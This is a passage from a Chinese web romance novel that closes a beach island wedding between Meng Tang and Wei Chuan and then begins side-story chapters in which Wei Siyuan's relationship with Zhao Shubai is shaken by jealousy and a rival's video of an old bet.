下午的外景就在沙滩边拍摄,除了他俩,主要和伴郎伴娘一起拍。 他们拍照的时候,举办婚礼的地方,协调员已经就位,开始最后一遍的细节安排和确认。 海岛婚礼一般在下午光线最柔和的时候开始,不冷不热,一切都正好。 三点刚出头,外景拍摄结束,孟棠回了房间开始化妆。 魏川带着梁衡等在了酒店大门口,他的队友们终于在婚礼之前赶到了现场。 他们没有魏川的假期,只能卡着点过来。 一个个巨人似的,一出现,吸引了大片的目光和讨论,平时只在电视上看过,石岚和杨可偷摸着瞧了好些眼。 惹得谢泠音调侃:“看上了,就让孟棠给你们要联系方式。” “别别别。”杨可十分清醒,“刷哥看看就行,我不配谈恋爱。” 石岚装模作样地点了点头:“我俩适合单身。” 谢泠音:“……” 魏川带着队友给家里人介绍了一遍,又转头给队友道歉不能陪着他们,因为他也得去换正装婚服了。 四点半左右,宾客入席,伴郎伴娘也都候了场。 魏川紧了紧拳头,来到台上等候,主持人示意他不要紧张,放松点。 魏川僵硬地笑了笑,孟棠的主纱他并没有看过,不知道到底是什么样的?他在脑子里想了各种各样的婚纱,最后只有一片白。 没一会儿,音乐声和主持人的声音同时响起,在一阵温情的寒暄后,音乐变了调子。 “我们的新郎已经紧张到站不住了,此刻呢,语言已经显得很苍白了,接下来,让我们用最热烈的掌声,迎接今天最美的女主角!” 前短后长的白纱并没有阻碍孟棠的视线,她倏地拉紧孟遇春的手臂。 孟遇春拍了拍她的手:“最后环节开始紧张了?” 不一样,这种感觉完全不一样。 随着音乐缓缓上台,沿着花路一走一步,孟棠的视线始终盯着那道高大挺拔的背影。 窘迫尴尬的初遇,一张纸条,一座木雕,阴差阳错将他俩连接在一起。 恍然间,孟棠有种做梦的错觉。 海风轻拂,纱幔裹挟着咸涩的芬香,冲淡了现场调制的甜香。 孟棠走到了魏川的身后,抬手拽了下他的衣摆。 魏川没敢动,偏头询问主持人。 得了主持人的肯定,他才转过了身。 四目相对的那一刻,从大二再续的缘分同时在两人脑海里火光似的播放。 高定的鱼尾蕾丝主纱设计感温柔通透,孟棠像一朵盛开在海浪边浪漫透明的花朵,漂亮又高贵。 主持人没有急于打破这份对视的美好,现场的宾客也给予无声的支持。 直至孟棠朝魏川笑了笑,主持人才接了话,让新郎走向新娘。 面向满堂宾客,诉说肺腑爱意。 魏川从孟遇春手中牵过孟棠的手,对老爷子再三保证:“我一定能陪她一起走下去的。” 孟遇春在心里叹了声气: 岁月长短几何啊?且渡眼下流年吧。 他笑了笑:“去吧。” 两人真正地站到了一起,面向了来宾,孟棠看着孟遇春的背影,不自觉湿了眼眶。 借着交换婚戒的空隙,魏川悄悄揩去了她眼尾的眼泪,小声道:“哭什么?婚后又不离开雁清。” 这样重要的时刻,人总有那么一两秒是感怀的,孟棠默默给他的无名指戴上婚戒。 “现在,请新郎亲吻你的新娘!” 魏川掀开孟棠的白纱,十分虔诚地吻了上去。 他是偶然溅落在木胚上的热烈突兀的漆彩,孟棠没有擦去他,让他顺着纹路融合,从此二者连着骨和血,相偎相依。 掌声响彻间,两人完成了婚礼专属于彼此的仪式。 当最后一抹太阳光消失在海平面,新人退场休息,宾客移至屋内参加晚宴。 整个婚礼的过程很简单,晚宴的流程也不繁琐。 新人致辞后切了蛋糕,从头至尾,一桌一桌地敬了酒。 大概晚上八点,宴会基本上结束。 今晚畅饮,不少人染上了醉意,扒着桌子和朋友闲聊。 赵行衍好不容易碰上了孟遇春,跟小尾巴似的,一路追着人家跑。 孟遇春心情不错,也乐意给他科普。 一中一老寻了个安静的角落,探讨木雕技术。 赵疏白见他爸爸讲话条理分明,确认他没醉后去找了魏思沅。 魏思沅见到他,“啧”了声:“赶紧啊,怎么才来,After Party马上开始了。” 秦渊客串MJ,手下一动,节奏感十足的音乐声划破夜空: “婚礼仪式已经成了,大家稳重端庄了一天,还不赶紧举起你们的手,今晚不醉不归!嗨起来好吗?” 参加After Party的都是年轻人,魏川有两三个队友也比较能闹腾,再加上梁衡,简直要点燃沙滩的节奏。 孟棠和魏川都不是会跳舞的人,只能跟着节奏摇摆身体。 海边的灯光穿透黑夜,气氛也会传染,随着音乐上了一波又一波的高潮。 空气被欢声笑语、音乐浪潮一点点覆盖…… 疯了半小时,一群人气喘吁吁地去了布置好的长桌宴。 “走了,坐着歇歇吃点东西,马上放烟花了。”魏川招呼了一句。 波西米亚风的桌布承托着蜡烛、鲜花和酒水。 酒水种类很多,鸡尾酒、香槟、葡萄酒……还有各种饮品。 今天大家或多或少都沾了点酒,球队的人和女生选了饮料,其余人都选了香槟。 球队的人明天一早就要离开归队,再喝就不是那么回事了。 魏川给孟棠拿了三文鱼塔塔脆饼、椰浆烤玉米和一道烤蔬菜拼盘。 “水果和甜品要不要?” 孟棠点了点头:“拿个水果拼盘吧。” 魏川顺道还给她带了椰子蛋糕。 今天忙疯了,也累疯了,孟棠为了穿婚纱,饭根本没敢多吃,敬酒的时候也光喝水了,刚才又精力无限地跳了半小时的舞。 这会儿真是饥肠辘辘,一头牛都能吞下去了。 “慢点。”魏川堵住她唇边要漏出来的残渣,低低笑了声。 孟棠将残渣按进了嘴里。 随后,魏川举起酒杯,对自己的队友说:“今天招待不周啊,等我归队后再和孟棠请你们吃饭。” “这话说的,没把我们当自己人啊。” 魏川失笑:“来,所有的话都在酒里了。” 球队的人跟他碰了杯,说了几句祝福的话。 秦渊拿着酒杯对着空中虚虚一点:“你俩明天去哪儿度蜜月?” 魏川说:“总共还剩半个月的假期,我俩打算找个风景好一点的地方,每天在酒店里悠闲度日,国内国外都行。” 其实魏川是个爱折腾的人,但假期不足,只能选个稍微平和点的蜜月方式,最起码孟棠喜欢。 “我和孟棠是下午的飞机。”魏川说,“大家今天辛苦了,明天睡个自然醒,想要离开的有车接送,不想离开的也可以再玩几天,我统统报销。” 简直太贴心了! 一番话说得其他人都不好意思了,参加了一场婚宴,没收礼,倒是挣了不少。 光说伴手礼的一瓶香水就得上前,还包了他们来回的机票。 话音刚落,一群工作人员搬着烟花来到了沙滩。 看数量,绝对是一场大型的烟花秀。 女生们坐不住了,纷纷起身走了过去,只剩孟棠还在吃。 魏川失笑:“不去看吗?” “去,最后一口。” 三两口吃完,两人刚转过身,接二连三的嘭嘭声响彻天空。 “哇……” 女生们尖叫了声,孟棠拉着魏川跑了过去。 文心予招了招手:“快点,给你俩拍照。” 孟棠穿着红色的抹胸裙,依偎在魏川怀中,笑靥如花。 烟花过后,又说了半宿的知心话才各自回了房间。 洞房花烛夜过不了一点,因为孟棠和魏川困得睁不开眼睛。 两人一起卸了妆洗了澡后,抱着睡到了第二天中午。 孟遇春和方姐待不住了,魏川亲自将人送到了车上,叮嘱了好一番才让人离开。 之后的宾客也陆陆续续散去,谢泠音等人在下午三点离开了螺洲岛,魏立峰和楚茵也带着魏思沅叮嘱了一番离开了。 热闹的小岛瞬间归于沉寂,魏川突然觉得好笑:“怎么就剩咱俩了?” 人生就是如此! 孟棠笑了笑:“不管热闹还是沉寂,我在你身边。” 魏川将她抱进怀中:“我也是。” 不管热闹还是沉寂,我们在彼此身边! 第224章 魏思沅赵疏白(1) z市,夜店,躁动的鼓点勾着人的兴奋情绪。 舞池里的男男女女,在纷繁迷离的灯光下尽情摇摆。 魏思沅在强烈劲感的音乐节奏中轻晃着腰身,锁骨链反着刺目的光,让人不敢直视。 她是店里的常客,而且是最高级别的贵宾,很多人认识她,不敢轻易上前搭讪。 场子里的保镖也会时刻关注她的动静。 “沅沅,明天赵疏白生日,你确定今晚不回去?” “谁要回。”魏思沅哼了声,“整天摆弄他的破相机,哪有把我放在眼里了?每次吵架都拿他那双冷冰冰的眼神看着我,我才不要回,跳舞不香吗?继续跳。” “哈……”魏思沅的朋友江映笑了声,“不摆弄相机,你是想让赵疏白摆弄你啊?” 魏思沅跳累了,停下后微微喘着,她撇头看了眼江映:“你话也太糙了。” 江映“啧”了声:“我还不了解你嘛,作得要死,也就赵疏白受得了你,你俩一个爱玩,一个爱管,绝配。” 嘿嘿,绝配!魏思沅就爱这种话,察觉自己又在痴笑,她清了清嗓子: “我哪儿作了啊?明明是他和林亦姗聊得热火朝天。” 魏思沅的话只能信三分,事关赵疏白惹到她哪儿不爽了,必然会夸大其词。 江映十分明白这个道理,作为好朋友,她第一时间搂住魏思沅,哄道: “一个林亦姗还能让我们家沅宝气成这样,多不值得啊,赵疏白是你的,谁也抢不走。” “难道以后赵疏白都不能跟别的女人聊天了?他一辈子就对着你一个女人?别太霸道了。” “可我和林亦姗不对付,赵疏白又不是不知道,他还说我跟小学鸡似的,跟这好不跟那个好的。”魏思沅反驳。 “哎呀,他们两家的生意往来多,林亦姗跟他说话,他要保持最基本的礼貌吧?” “好吧。” 魏思沅被说服了。 “这就对了嘛。”江映将她往三楼带,“既然如此,咱就回去?” “好。”魏思沅顺势下了台阶,她也就不爽的时候作作,其实很好哄。 舞池在一楼,贵宾室在三楼,两人刚到二楼,脚步倏地一顿。 几米之外,上三楼的楼梯口站着一个人,魏思沅一口凉气往回抽,下意识抓住了江映的胳膊,整个人往江映的身后缩去。 赵疏白身形颀长,二楼的浮光掠影从他眼角眉梢划过,露了那双冷漠至极的黑眸。 魏思沅和赵疏白的视线在幽暗的空中撞了个正着。 昏暗闪烁的灯光中,赵疏白走到她身边,冷淡地问:“来夜店怎么也不叫我?” “呃……”江映扭过头看向魏思沅,“他不是在外地吗?” 魏思沅愣愣摇了摇头,她也不知道啊。 不是说不回来过生日的吗? 还有,这嘲讽的语气是什么意思?魏思沅又被勾出了点火气: “我怕你玩不起啊。” 赵疏白一向不来这种地方,衬衫扣子系得严严实实,像不通网的老干部。 让他陪她来跳舞,还不如杀了他。 赵疏白视线下移,魏思沅的肩膀、锁骨、胸口的大片冷白肌肤在霓虹灯的不经意扫射下变成了诱人的颜色。 那件复古蕾丝黑色吊带看得他暗自磨牙。 江映警铃大作,推了推魏思沅:“愣着干什么?过去啊。” 魏思沅扒住江映:“我突然想起好久没见叔叔阿姨了,我今晚跟你回去吧。” 江映在心里“呵呵”一声,避嫌似的推开魏思沅:“我突然想起来我还有事,你们两口子聊啊,拜拜。” “江——” “魏思沅!” 魏思沅伸出去的尔康手僵立在半空,她哼了声:“干嘛?” 赵疏白上前再一次逼近,定定看了魏思沅半晌,突然解开了三颗白衬衫的衣扣。 魏思沅赶紧要去给他捂住,赵疏白冷淡地勾了勾唇:“走,去玩玩。” 不然总说他玩不起。 “小白。”魏思沅装傻,“不必了吧?” “挺公平的。”赵疏白的指尖划过魏思沅的锁骨、肩膀,“不是吗?” 魏思沅咬了下唇,小气鬼,她一把将他衬衫拉进:“只能我看。” “那你呢?”赵疏白眉眼极淡。 魏思沅哼了声,拉住他大衣的袖口,“脱啊。” 赵疏白将大衣脱下来,亲手给她披上,低低笑了声:“作精。” 笑了?魏思沅胆子更大,挤进他怀中赖着撒娇。 赵疏白低头在她发顶亲了下:“走了,回家要你要看。” “你开车了?” “嗯。” 魏思沅跟着他出了夜店大门,车门刚落锁,后颈被赵疏白牢牢掌控。 四片唇瓣贴合,磨出暧昧的喘息。 魏思沅最爱赵疏白表里不一的反差,只有她知道他藏在冷清外表下如火山喷发的欲望。 魏思沅搂住他的脖颈回应,终于将赵疏白来抓人的怒火亲没了,消失得一干二净。 半晌,赵疏白松开她,给她系上了安全带。 “等一下,我包还没拿。” 魏思沅刚要下车,被赵疏白拉住:“我去拿,在车上等着。” 夜店贵宾室的服务人员正好将魏思沅的包送了下来。 回到家,赵疏白被客厅的装饰弄得一怔。 气球、蛋糕、鲜花和礼物一样不落,他转过身看着不好意思的魏思沅,沉了沉嗓音: “什么时候准备的?” 魏思沅故意道:“在你跟林亦姗聊得很开心的时候。” “……” 赵疏白转头抓住她,就要亲下去时,被魏思沅一把推开了: “我洗澡去了,不准动客厅的东西,12点给你过生日。” 虽然折腾,但她喜欢,赵疏白只能由着她。 魏思沅是要顺毛撸的猫,不然爪子一亮,无理气势都要高三分。 “我跟你一起洗。”赵疏白追上去。 魏思沅尖叫一声,想要锁浴室的门,却已来不及了。 “走开啊流氓,谁要跟你一起洗。” “你脱衣服干嘛?” “赵疏白,你别脱我衣服。” “赵疏白……” 浴室里水雾弥漫,两道身影缠绕其间,不一会儿低吟声四起。 两个小时后,赵疏白顶着脖颈两道血红划痕,抱着魏思沅出了浴室。 第225章 魏思沅赵疏白(2) 换了睡衣,赵疏白搂着魏思沅就要睡觉,被魏思沅一脚蹬在腹肌上:“去客厅。” 赵疏白懒得动,说:“不能明早再过生日吗?” “你敢!”魏思沅瞪大了眼睛,在黑暗中精准地揪住赵疏白的耳朵,“我布置了好久,你就这样浪费我的心意,我就知道你一点都不爱我。” 赵疏白:“……” 他坐起来,一把扯住魏思沅的胳膊,摸索着将她抱了起来。 魏思沅得意一笑,双腿勾住他的腰,紧紧搂着他的脖颈。 来到客厅,蜡烛都灭了。 魏思沅催促了声:“茶几下面的抽屉里还有,你拿出来点上。” 赵疏白认命地拿出蜡烛,重新做了个氛围。 蛋糕上的蜡烛,他顺手也给点上了。 魏思沅滑坐到地毯上:“赶紧许愿,许完愿拍个照发朋友圈,说谢谢我亲爱的女朋友。” “……不发。”赵行衍瞥了她一眼,“幼不幼稚?” “我就幼稚了。”魏思沅烦死他了,“发了能怎么样?别人看到会怎么样?会把你人设打破吗?脸面那么重要吗?那林亦姗在朋友圈放了和你的合照你怎么不觉得幼稚了?” 赵疏白皱眉,又来。 魏思沅冷哼了声:“你是不是想说我又来这一套?” “……”赵疏白冷静后进行第三次解释,“林亦姗有发朋友圈的权利,那天我们在摄影展上碰到的,我跟她站一起,中间还能塞下一个你,你到底还要吃醋到什么时候?” 魏思沅忽然沉默了一瞬,说:“不发就不发吧,先吹蜡烛。” 赵疏白有一种不祥的预感:“你要干什么?” “我没干什么?”魏思沅将心酸往肚子里咽,“我困了,赶紧吹完去睡觉。” 赵疏白半信半疑地吹了蜡烛,哪知魏思沅一点没闹,真跟他说了句“生日快乐”就去睡觉了。 翌日上午,两人各忙各的,晚上魏思沅没回来,电话一打,好嘛,人家跟江映去香港玩了。 还认识了不少新朋友,朋友圈发了一堆合照,是中间能再塞一个赵疏白的和异性的合照。 赵疏白看见直接气笑了,偏偏魏思沅一直不回他的电话。 直至三天后,赵疏白在魏思沅的朋友圈里看到了她回家的照片。 他直接杀了过去,却在魏家别墅大门外看到了一辆黑色座驾。 驾驶位上坐着的正是和魏思沅合照的男生,副驾坐着江映。 赵疏白和江映很熟,两人打了招呼后,他看向主驾驶。 江映给两人介绍了一遍,说他送魏思沅和自己回家,赵疏白点了点头,都没记住对方的名字。 进了魏家的挑高大客厅,魏思沅的哀嚎从里面传出来,惨兮兮的。 赵疏白心脏一紧,拔腿跑了进去。 只见魏思沅甩着眼泪指着朵兰:“臭狗。” 赵疏白赶紧走过去,神态很是紧张:“腿怎么了?” 魏思沅嘴一撇,朝他伸手要抱抱,楚茵一巴掌拍掉她的手:“老实点,上药。” 魏思沅抗议,条件反射要站起来,却因膝盖的伤一屁股又坐了回去。 “坐好。”赵疏白轻飘飘扫了她一眼,却在楚茵看不到的地方偷偷握住了她的手。 魏思沅朝他笑了笑。 赵疏白的目光落在她破了皮渗出血丝的膝盖上,小声问:“怎么弄的?” 魏思沅提起伤心事,鼻翼翕动,她抹了把发热的眼角,小声道:“摔的,朵兰挡着我,我摔了个狗吃屎。” 赵疏白冷嗤一声:“还可以再笨一点。” 魏思沅哼了声。 赵疏白朝阿姨伸出手:“我来吧。” 还在家里呢,她妈妈还在一旁,魏思沅不太好意思,稍稍坐起身,将脚往回缩:“让阿姨来吧。” 赵疏白捏着碘伏棉签蹲下,让她把脚伸过去。 见魏思沅没动,他似乎没了耐心,托住她小腿肚给她膝盖消毒。 魏思沅疼了也不敢叫唤,龇个牙咧个嘴也就过去了。 楚茵看得皱眉:“下次小心点。” “知道了。” “我去给你俩准备点吃的。” 客厅里只剩下两个人,魏思沅看着赵疏白,问:“你怎么来我家了?” 赵疏白给她喷了药,起身抽了张湿纸巾擦了擦手,不经意地问:“谁送你回来的?” 魏思沅勾了勾唇,抬眸望着他:“一个新认识的朋友,我发了朋友圈,你没看到吗?” 赵疏白还有什么不明白的,报复心理也太强了。 但不得不说,这招是真狠,直戳他肺管子。 魏思沅就是这样的人,爱一个人,必须得到百分百的回应,无论用什么办法。 “看到了。”赵疏白表情略显冷淡,“今晚回公寓吗?” 魏思沅没吱声。 赵疏白看了眼她的膝盖,说: “你这几天还是在家吧,伯母会照顾好你,等你膝盖完全好了,我再来接你。” 魏思沅气急,又不能表现自己太在乎,嘟囔道:“随你。” 赵疏白在晚饭后走了,到车里却没别开钥匙,而是给江映打了电话。 十来分钟后,江映把这事告诉了魏思沅:“你没跟赵疏白说你在香港的事吗?” 魏思沅一愣:“我跟他说这个干什么?” 江映:“他问我了啊,还有周磊。” 周磊就是送魏思沅回来,和魏思沅朋友圈合照的男生。 “真的?”魏思沅猛地坐了起来,“他还问了什么?” “都是周磊啊,事无巨细,从你落地后的一切行动,一日三餐都过问了,他窥探欲太强了吧?” “他才不是窥探欲。”魏思沅嘀咕了句,“先不跟你说了,我打个电话。” 江映深藏功与名地笑了声,这两人,一个猴一个拴法。 看着魏思沅的来电,赵疏白勾了勾唇,他装模作样敛了笑意,接了电话:“喂?” 魏思沅犹豫了一会儿,不情愿地问:“你走没啊?” “还没。”赵疏白一本正经道,“刚才打了个电话,我现在就走。” “等一下。”魏思沅赶紧拦着他,“家里无聊,你回头来接我。” 一切都在意料中,赵疏白笑了声:“好。” 魏思沅回到楼下,站在主楼前翘首以盼,不知道多少次伸长脖子看向门口,终于看到了赵疏白的车影。 她心里还有一点气,不等赵疏白下车,自己一瘸一拐下了台阶。 赵疏白动作快,下车后一把将她打横抱起,送进了副驾。 半小时后,两人抵达爱巢。 赵疏白坐在宽大的真皮沙发里,光影交错,在他起伏硬挺的侧脸上投下深浅不一的阴影,勾勒出他隐秘却不可忽视的压迫感。 “魏思沅。” “干嘛?”魏思沅心肝一颤,“一回来你就原形毕露了。” “……我错了!” 魏思沅震惊地转过头:“你说什么?” 神经搭错了?赵疏白竟然认错了? 赵疏白叹了声气:“我不应该因为朋友圈这点破事跟你闹别扭,我也承认看到你和别的男人的合照令我怒火中烧,我明白了那种感觉。” 魏思沅一喜,偷偷摸摸去拿他手机:“那你现在让林亦姗删了你们的合照。” “无理取闹。”赵疏白她一眼,牵过她的手,和她十指交扣,“别动,拍张照。” 魏思沅怎么可能抵得过赵疏白的力量,又或许她知道他想干什么,瞬间不动了。 赵疏白对着两人十指交扣的手拍了张照片,发进了朋友圈:女朋友! 第226章 魏思沅赵疏白(3) 赵疏白在朋友圈里发了魏思沅这件事,稳住了她好长一段时间。 魏川从学校放假回来,被温柔以待的魏思沅弄得浑身鸡皮疙瘩。 他幼稚地打开手机的摄像头,对准魏思沅:“妖怪,赶紧现原形!” “魏川。”魏思沅彻底破功,“滚!” 魏川趁机拍了魏思沅的丑图,哈哈大笑:“现原形了。” 魏思沅威胁他:“我警告你给我删了,要是被我男朋友看到,你就死定了。” “男朋友?”魏川一愣,“卧槽,你谈恋爱了?我说你春风满面,讲话矫揉造作跟中了邪似的。” “你才中了邪。”魏思沅伸手想打他,却因身高压制碰不到他的后脑勺了,只能在他肩膀拍了一巴掌。 “谁啊?” 魏思沅哼了声:“不告诉你。” 魏川“嘁”了声:“谁稀罕知道,只能说对方是一名真正的勇士。” 直至魏川上了楼,魏思沅才反应过来他的话。 后来她跟赵疏白吐槽魏川,赵疏白只是笑笑,其实心里有那么一点认同。 跟魏思沅谈恋爱,确实需要点勇气。 他俩是真正的青梅竹马,魏思沅是三个姐妹里面长得最漂亮的,魏思嘉和魏思琳也一直宠着她。 更别提她一张甜嘴哄得魏立峰溺爱,也就导致了她有些骄纵的性格。 赵行衍和魏立峰就是同校校友,两人的关系也亲如兄弟。 赵疏白虽然是独生子,但自小就被他父母教育要好好照顾魏思沅。 因为他俩在大学之前都在一个学校,同进同出。 一开始会有人误会他俩的关系,后来即便知道两人从小一起长大,但周围的朋友对于赵疏白对魏思沅的照顾总会啧啧称奇。 总之,赵疏白人长得帅,家世好,本来是不缺女生喜欢的。 但他身边站着一个魏思沅,没一个女生会接受自己的男朋友给他的发小系鞋带、吃剩饭…… 直至魏思沅想要学人家早恋,被赵疏白直接捅到了魏立峰面前。 两人大吵一架后峰回路转,让赵疏白意识到自己对魏思沅的感情发生了质的变化。 赵疏白是喜欢就会有行动的人,这个世界上,最了解魏思沅的,他称第一,没人敢称第二。 拿捏魏思沅对他来说简直手到擒来,不过三个月,他就拐了魏思沅跟他谈恋爱。 至今为止,两人谈了两三年,他一直都这么认为的。 直至魏思沅和林亦姗在一场小姐妹的聚会上碰上了面。 本来她们不是一起的,但双方都有相交甚笃的好友,魏思沅还真不好拒绝。 她要是将江映带走了,以后在这个圈子里,怕不是要被排挤。 魏思沅和林亦姗从小到大都喜欢比,但魏思沅因为有赵疏白,所以略胜一筹。 因为林亦姗喜欢赵疏白。 没和赵疏白在一起之前,魏思沅每天都能用赵疏白将林亦姗气个半死。 自从和赵疏白在一起后,魏思沅就不在林亦姗面前聊赵疏白了。 这次聚会自然也不例外,但不妨碍林亦姗的小姐妹对魏思沅阴阳怪气。 “沅沅,你跟赵疏白还谈着呢?是怕我们亦姗给你抢走吗?” 魏思沅白了对方一眼:“你让林亦姗去试试呗,抢走就让给她了。” 林亦姗嗤笑:“什么就让给我了,小白又不是东西,他是一个活生生的人。” 魏思沅没理会她,指了指面前的糕点,对江映说:“绿茶做的,尝尝看。” 江映忍着笑拿了一块。 第一回合暂且结束,魏思沅觉得无趣,起身去了卫生间。 她在里面给赵疏白打电话吐槽,说下午茶没意思,让他来接她。 赵疏白一口应了,让她等半小时。 魏思沅心情好多了,补了妆,刚要离开,被林亦姗堵在了门口。 魏思沅看着她,笑了声:“什么意思啊?” 林亦姗双手抱胸,整个人靠在墙上,表情很是玩味:“你也跟赵疏白演了三年的戏,不会真把自己演出去了吧?” 魏思沅唇边的笑意僵住。 “还是说,你忘了当初是怎么和赵疏白在一起的?” 魏思沅捏了捏拳,上前两步,直直盯着林亦姗的眼睛: “你到底想干什么?” “我没想干什么啊?”林亦姗耸了耸肩,“我只是提醒你罢了,当初你可是因为一个赌约才和赵疏白在一起的,需要我告诉他吗?” “你敢!”魏思沅警告地瞪着她。 林亦姗失笑:“我有什么不敢的?你本来就不是因为喜欢他才跟他在一起的,你只是知道我喜欢赵疏白,才和我抢人的嘛,这是事实,无可改变。” 魏思沅难得心虚一次。 “赵疏白跟你在一起了,赌约确实是你赢了,可你当初怎么说来着?” “我魏思沅勾勾手指,赵疏白就得站我这边,其实那时候你已经察觉到赵疏白对你的感情发生转变了吧?” “你知道他喜欢你的时候利用了他,达到你赢我的目的。” “听不懂你在说什么。”魏思沅绕开林亦姗就要走,却被她移步挡住了。 “让开。”魏思沅变了脸色。 林亦姗神色冷淡,嘲讽道:“都是从小一起长大的,凭什么你对他就能肆无忌惮?肆无忌惮也罢了,人心都是偏的,可你一直这样跟他下去,让他沉浸在你也爱他的泡沫幻影里,会不会太自私了?” 爱不爱的,她只跟赵疏白说,跟其他人说不着。 “你让开,赵疏白来接我了。” “呵……魏思沅,你的心是真硬,当初要不是你横插一脚,我和赵疏白的结局会不会是另外一种?” “你这种用赌约践踏别人真心的人迟早会有报应,等着吧。” 魏思沅推开林亦姗,跌跌撞撞地跑了。 林亦姗虽然讨厌,但每一句话都砍在她心口。 她跟赵疏白在一起的目的不单纯,可这几年的感情也不是假的,赵疏白如果知道,应该能原谅她吧? 魏思沅突然有些不确定了。 赵疏白这个人的小气藏在只有她能看到的地方,旁人都不知道,他对感情有多么纯粹和斤斤计较。 若是被他知道…… 魏思沅不敢往下想。 林亦姗出了卫生间,问躲在暗处的朋友:“拍全了吗?” “拍全了,你打算怎么做?” 林亦姗笑了:“当初魏思沅和我打赌的视频还在我这里,加上今天这份,我就不信他们不分手。” “那……如果他们不分手呢?” 林亦姗沉默许久,突然自嘲地笑了声:“总得遇到些挫折吧,不然我也咽不下这口气,如果他俩还在一起,以后桥归桥,路归路。” 第227章 魏思沅赵疏白(4) 二十分钟,赵疏白赶到了魏思沅聚餐的地方,彼时魏思沅早已经在楼下等着他了。 只需一眼,赵疏白就看出魏思沅不开心。 他停了车,走到魏思沅面前,捧起她的脸问:“怎么了?” 魏思沅埋进他怀里,闷声闷气地说:“想你了。” 赵疏白失笑:“想撒娇了是吧?” “你就当是吧。” “好了,回去再撒娇吧。” 人来人往的,赵疏白实在不习惯。 魏思沅上了车后,一路上心不在焉。 赵疏白察觉后,没急着回去,根据导航去了附近一个江边。 夕阳正好,给水面镀上了一层金色的光。 赵疏白带着魏思沅在江边坐下,但什么也没问,因为魏思沅忍不住。 果然,十分钟不到,欣赏够了美景,魏思沅扭头问赵疏白:“带我来这里干什么?” “看你心情不好,”赵疏白说,“你不是能把事情憋在心里的人,发生什么事了?” 魏思沅顿了片刻,回避了他的视线。 她一个不爱藏事的人却把当初的赌约藏了整整三年。 魏思沅捏住赵疏白的小拇指,玩了半天,突然问他:“如果有一天你发现我骗过你,你会怎么办?” “骗我?”赵疏白挑了挑眉,“你既然这么问了,想必是真有事情骗我,老实交代,不然我——” “不然你就怎么样?”魏思沅急得截断他的话,“会跟我分手吗?” “你想的美。”赵疏白气得弹她脑袋,“你从小到大骗我骗得少了?” “我……”魏思沅忽然词穷,对哦,她从小到大没少欺负赵疏白,也没少诓骗他。 狼来了的故事都骗不到赵疏白,她为什么要担心赵疏白会跟她分手? 而且他们已经在一起三年了,该做的事都做了,她才不信赵疏白知道真相会跟她分手。 当然了,气肯定会生的,到时候她再哄哄,赵疏白还不被她吃得死死的。 越想越是那么回事,魏思沅重展笑颜:“走吧,我饿了,吃饭去。” “想开了?”赵疏白觉得她实在孩子气,但也有点可爱,“刚才是谁茶不思饭不想的?” “哎呀。”魏思沅挽住他胳膊,“你到底去不去吃饭?” 赵疏白起身,笑着揉了揉她的后脑勺,说:“你记住,天塌下来有个高的人顶着,帮你顶着的是我。” 魏思沅和赵疏白闹惯了,对于他这样的情话一时有些招架不住,扭捏到红了脸:“知道了。” 两人在外面找了个高空餐厅,吃完饭已经九点多。 江映打电话给魏思沅,问她要不要出去玩。 魏思沅直接拒绝了,赵疏白还在家呢,她怎么出去玩。 回去后洗了澡,魏思沅趴在床上玩手机。 赵疏白过来亲了她一下:“我去洗澡了。” 魏思沅敷衍地点了点头。 赵疏白刚进浴室,裤子口袋的手机震动了声,他拿出来看了眼,提示是林亦姗发来的信息,他皱了皱眉。 他还没回,林亦姗又发来一条信息。 赵疏白点进微信,看到她发了两条视频和一条信息。 “你知道魏思沅为什么会跟你在一起吗”的信息内容让赵疏白心里一沉。 他点开视频,发现魏思沅的穿着打扮是三年前的。 视频里的人他基本都认识。 魏思沅看起来脸色不太对,下一秒,一个画外音插了进来:“要不你俩打个赌算了。” 林亦姗微微抬了下巴:“我无所谓,就怕有些人不敢。” “谁不敢了?”魏思沅那会儿还年轻,一激就上当,虽然现在也还是一样。 “别误会。”林亦姗笑了声,“你跟赵疏白青梅竹马,感情很深,我只是觉得你不会拿他打赌罢了,还是感情的事,没说你不敢的意思。” 魏思沅眉梢都快被林亦姗的阴阳怪气引燃了,她白了对方一眼: “你不也跟赵疏白从小就认识,你都能拿他做赌,我怎么不能了?” 赵疏白看到这里,呼吸下意识变轻,因为会疼。 不是所有从小一起长大的都能称为青梅竹马。 魏思沅在他这里,绝对是最特别的存在,他一直自信自己在她那儿也是这样。 可她却轻飘飘地将彼此的感情当做赌注的筹码。 “好啊。”视频里的林亦姗又说了,“就以三个月为期,赵疏白要是跟你在一起,我输你一辆车。” 车? 赵疏白突然想起魏家车库里,一辆柠檬黄的超跑,她不喜欢那个颜色,却说最爱那辆车。 难道是林亦姗输给她的?被魏思沅当做了战利品? “成交。”视频里的魏思沅一脸笃定林亦姗会输的表情。 第一个视频到此结束,赵疏白关掉视频,打开第二段,从头到尾看下来,他心里冒出一股愤怒的火焰。 什么叫“你能抢走就让给你了”,他赵疏白在她魏思沅那儿就那么不值钱? 赵疏白转头就想去问魏思沅,又生怕自己忍不住脾气跟她吵起来。 这时候吵起来没有一点意义,只是两小段视频,他必须去找林亦姗问清楚。 赵疏白在浴室缓了许久才洗了澡,回到寝室的时候,魏思沅已经昏昏欲睡。 见到他,勉强睁开了眼睛:“怎么洗那么久?不知道没你我睡不着吗?” 不知道哄他还是骗他,但赵疏白就是没出息的心软了。 他上床后将魏思沅抱进怀中拍了拍:“睡吧。” 魏思沅心满意足,埋在他怀里蹭了蹭。 其实抱在一起睡觉一点都不舒服,但魏思沅喜欢,赵疏白每次起床,半边身体都是麻的。 翌日,魏思沅睡到十来点,还是赵疏白哄着她起床吃了点东西。 磨磨蹭蹭到下午一点,赵疏白换了身出门的衣服。 魏思沅问:“你去哪儿啊?” “有点事。”赵疏白在她额头上亲了下,“你不想动就待在家里,一个小时我就回来了。” 一个小时而已,魏思沅这才没有打破沙锅问到底。 不巧的是,赵疏白前脚刚走,后脚江映就给魏思沅打了电话约她出去逛街。 江映约她,魏思沅一般不会拒绝,考虑都没考虑,直接换了衣服出门了。 第228章 魏思沅赵疏白(5) 魏思沅刚见到江映,又强调了一遍:“我只有一个小时的时间啊。” “知道了。”江映简直无语,“你来之前就说了,到底要说多少遍?重色轻友。” “诶?不准这么说我。”魏思沅指了指她,“今天我买单。” “这还差不多。” 江映的车刚开到商场对面的马路上,魏思沅突然叫了声。 江映吓了一跳:“干什么?” “赵疏白和林亦姗。”魏思沅脸色一沉,“赶紧放我下来。” “别冲动,我先把车停一下。”江映尽量稳住她,“我跟你一起。” 等江映停了车,赵疏白和林亦姗进了商场一楼的咖啡店。 